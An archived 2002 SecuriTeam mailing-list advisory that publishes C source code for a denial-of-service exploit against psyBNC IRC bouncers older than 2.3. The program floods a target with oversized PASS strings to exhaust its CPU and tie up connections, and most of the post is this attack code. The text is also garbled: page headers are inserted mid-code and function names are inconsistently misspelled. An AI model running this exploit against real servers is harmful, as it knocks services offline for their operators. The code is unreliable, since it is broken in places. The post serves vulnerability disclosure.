

# [EXPL] PsyBNC DoS Exploit Code (Long Password)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-06/0134.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 06/28/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Fri, 28 Jun 2002 13:06:49 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

PsyBNC DoS Exploit Code (Long Password)

---

## SUMMARY

The following is a denial of service attack exploit code for psyBNC's security vulnerability. For more information see our previous article: <http://www.securiteam.com/exploits/5LP0N0U6UU.html> > psyBNC Vulnerable to a DoS Attack.

## DETAILS

Vulnerable systems:

psyBNC versions prior to 2.3 (without the patch)

Immune systems:

psyBNC version 2.3 and above

Exploit:

/\*

\* psyBNC <= 2.3 DoS

\* Information System Advancement in Penetration (ISAP) Labs

\* By Lunar Fault [ElectronicSouls]

\* (C) May 19, 2002

\*

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

- \* Legal Notice:
- \* In no way is ElectronicSouls, ISAP, or the author responsible for the
- \* actions or usage of this program. The author retains all copyrights to the
- \* contents within including this banner, except for the resolvenametoip()
  
- \* function. This source is not to be used for illegal purposes. Please check
- \* your local laws before testing this proof of concept.
- \*
- \* Description:
- \* Problem dealing with over sized passwords. Once the DoS has been sent the
- \* victim's psybnc's pid slowly begins to eat up cpu usage. This also results
- \* in the fact that psybnc holds the connection with a TIME\_WAIT further denying
- \* access to the bnc. If you try and exploit the server more times than it allows
- \* connections in force mode. The result will be a Broken Pipe, in standard mode it
- \* will tell you the server is not vuln.
- \*
- \* es 11805 99.7 1.9 2672 1216 pts/1 R 06:28 19:17 ./psybnc
- \*
- \* Tested on psyBNC2.3, psyBNC2.2.1, psyBNC2.1.1
- \* Succesfully exploited on Linux x86, and OpenBSD 3.0 x86.
- \*
- \* Lunar Fault
- \*/

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <getopt.h>
#include <unistd.h>
#include <string.h>
```

```
#define SIZE 9000
#define PORT 31337
#define USER "pr0ix"
```

```
int senddos(int port, int size, char *target, char *user);
int checkvuln(char *rxbuf);
int testvuln(int port, char *target);
unsigned long resolvenametoip(char *name);
```

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

```
void usage(char *prog);

int checked = 0;
int force;

int main(int argc, char *argv[])
{
    int c, i, z;
    int port, size, times;
    int u_t = 0, d_t = 0, n_t = 0, p_t = 0, s_t = 0, t_t;
    char target[1024], *user;

    printf("[+] ES psyBNC <= 2.3 DoS\n");
    printf("[+] Information System Advancement in Penetration (ISAP)
Labs\n");
    printf("[+] By: Lunar Fault [ElectronicSouls]\n");

    if(argc < 2) { usage(argv[0]);}

    while ((c = getopt (argc, argv, "d:n:p:s:u:hft"))!=EOF) {
        switch(c) {
            case 'h':
                usage(argv[0]);
                break;
            case 'f':
                force = 1;
                break;
            case 'd':
                strncpy(target, optarg, sizeof(target));
                d_t = 1;
                break;
            case 'n':
                times = atoi(optarg);
                n_t = 1;
                break;
            case 'p':
                port = atoi(optarg);
                p_t = 1;
                break;
            case 's':
                size = atoi(optarg);
                s_t = 1;
                break;
            case 't':
                t_t = 1;
                break;
            case 'u':
                user = (char *) malloc(strlen(optarg));
                memcpy(user, optarg, strlen(optarg));
                u_t = 1;
                break;
        }
    }
}
```

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

```
}  
}  
  
if (d_t == 0) { usage(argv[0]); }  
  
if (n_t == 0) times = 3;  
  
if (p_t == 0) port = PORT;  
  
if (s_t == 0) size = SIZE;  
  
if (u_t == 0) {  
    user = (char *) malloc(strlen(USER));  
    memcpy(user, USER, strlen(USER));  
}  
  
printf("[*] Victim: %s\n", target);  
printf("[*] Port: %d\n", port);  
printf("[*] User: %s\n", user);  
printf("[*] Size: %d\n", size);  
printf("[*] Times: %d\n", times);  
  
if (t_t == 1) {  
    printf("[*] Testing for vulnerability\n");  
    z = testvuln(port, target);  
    printf("\n");  
    if (z == -1) {  
        printf("[!] Failed to test Vuln!\n");  
        exit(1);  
    }  
    return 0;  
}  
  
if (force == 1)  
    printf("[*] Forceing DoS\n");  
  
for (i = 0; i < times; i++) {  
    z = senddos(port, size, target, user);  
    if (z == -1) {  
        printf("[!] Failed on sending DoS!\n");  
        exit(1);  
    }  
}  
  
printf("[*] DoS sent %d times\n\n", times);  
return 0;  
}  
  
int senddos(int port, int size, char *target, char *user)  
{  
    int i, s, z, len_inet;
```

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

```
unsigned long ipaddr;
char *dosbuf, tmpbuf[128], *passbuf, rxbuf[1024];

struct sockaddr_in victim;

if (!(ipaddr = resipnametoip(target))) {
    printf("[!] Failed to resolve '%s'\n", target);
    exit(1);
}

victim.sin_family = AF_INET;
victim.sin_port = htons(port);
victim.sin_addr.s_addr = ipaddr;

len_inet = sizeof(victim);

s = socket(PF_INET, SOCK_STREAM, 0);
if (s < 0) {
    printf("[!] Failed to open socket!\n");
    exit(1);
}

z = connect(s, (struct sockaddr *)&victim, len_inet);
if (z < 0) {
    printf("[!] Connection refused!\n");
    exit(1);
}

z = read(s, rxbuf, sizeof(rxbuf));
if (z == -1) {
    printf("[!] Failed on read!\n");
    exit(1);
}

z = checkvuln(rxbuf);
if (z == -1) {
    printf("[!] Failed on vuln check!\n");
    exit(1);
}

snprintf(tmpbuf, sizeof(tmpbuf), "NICK %s\n\r", user);

z = write(s, tmpbuf, strlen(tmpbuf));
if (z == -1) {
    printf("[!] Failed on write!\n");
    exit(1);
}

z = read(s, rxbuf, sizeof(rxbuf));
if (z == -1) {
    printf("[!] Failed on read!\n");
}
```

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

```
    exit(1);
}

passbuf = (char *) malloc(size);
for (i = 0; i < size; i++)
    *(char *) &passbuf[i] = "A";

dosbuf = (char *) malloc(7 + strlen(passbuf));

memcpy(dosbuf, "PASS ", 5);

memcpy(dosbuf+5, passbuf, strlen(passbuf));

memcpy(dosbuf+5+strlen(passbuf), "\n\r", 2);

z = write(s, dosbuf, strlen(dosbuf));
if (z == -1) {
    printf("[!] Failed on write!\n");
    exit(1);
}

close(s);

free(dosbuf);
free(passbuf);

return 0;
}

int checkvuln(char *rxbuf)
{
    int vuln_t;
    char *bnc;

    sprintf(&rxbuf[strlen(rxbuf)-2], 0);

    if (force == 1) {return 0;}
    if (checked == 1) { return 0;}
    printf("[?] Server returned: %s\n", rxbuf);
    if (bnc = strstr(rxbuf, "psyBNC2. ")) {
        if (strcasecmp(&bnc[9], ".") > 0) {
            vuln_t = 1;
        }
        if ((int)(bnc[8] - '0') <= 3) {
            if ((int)(bnc[8] - '0') == 3 && vuln_t == 1) {
                printf("[!] Server is NOT VULN!\n");
                exit(1);
            }
            printf("[*] Server is VULN!!\n");
        } else {
            printf("[!] Server is NOT VULN!\n");
        }
    }
}
```

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

```
    exit(1);
}
} else {
    printf("[!] Server is NOT VULN!\n");
    exit(1);
}

checked = 1;

return 0;
}

int testvuln(int port, char *target)
{
    int s, z, len_inet;
    unsigned long ipaddr;
    char rxbuf[1024];

    struct sockaddr_in victim;

    if (!(ipaddr = resip_pton(target))) {
        printf("[!] Failed to resolve '%s'\n", target);
        exit(1);
    }

    victim.sin_family = AF_INET;
    victim.sin_port = htons(port);
    victim.sin_addr.s_addr = ipaddr;

    len_inet = sizeof(victim);

    s = socket(PF_INET, SOCK_STREAM, 0);
    if (s < 0) {
        printf("[!] Failed to open socket!\n");
        exit(1);
    }

    z = connect(s, (struct sockaddr *)&victim, len_inet);
    if (z < 0) {
        printf("[!] Connection refused!\n");
        exit(1);
    }

    z = read(s, rxbuf, sizeof(rxbuf));
    if (z == -1) {
        printf("[!] Failed on read!\n");
        exit(1);
    }

    z = checkvuln(rxbuf);
    if (z == -1) {
```

## Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

```
printf("[!] Failed on vuln check!\n");
exit(1);
}

return 0;
}

unsigned long resovenametoip(char *name)
{
    struct hostent *host;
    unsigned long addr;

    if ((addr = inet_addr(name)) == -1) {
        if (!(host = gethostbyname(name))) return 0;
        else addr = *((unsigned long*)host->h_addr);
    }

    return addr;
}

void usage(char *prog)
{
    printf("usage: %s [options]\n", prog);
    printf("\t-d <target> Server hosting psybnc [REQUIRED]\n");
    printf("\t-f force Skip vuln checking\n");
    printf("\t-h help Your looking at it\n");
    printf("\t-n <number> Number of times to attack Default: 3\n");
    printf("\t-p <port> Port to connect to Default: 31337\n");
    printf("\t-s <size> Size of password to send Default: 9000\n");
    printf("\t-t test Tests for vuln\n");
    printf("\t-u <user> User to login with Default: pr0ix\n");
    exit(1);
}
```

### ADDITIONAL INFORMATION

The information has been provided by Lunar Fault.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [EXPL] PsyBNC DoS Exploit Code (Long Password)

loss of business profits or special damages.

---

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[TOOL] PSReal, Hidden Process Revealer"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)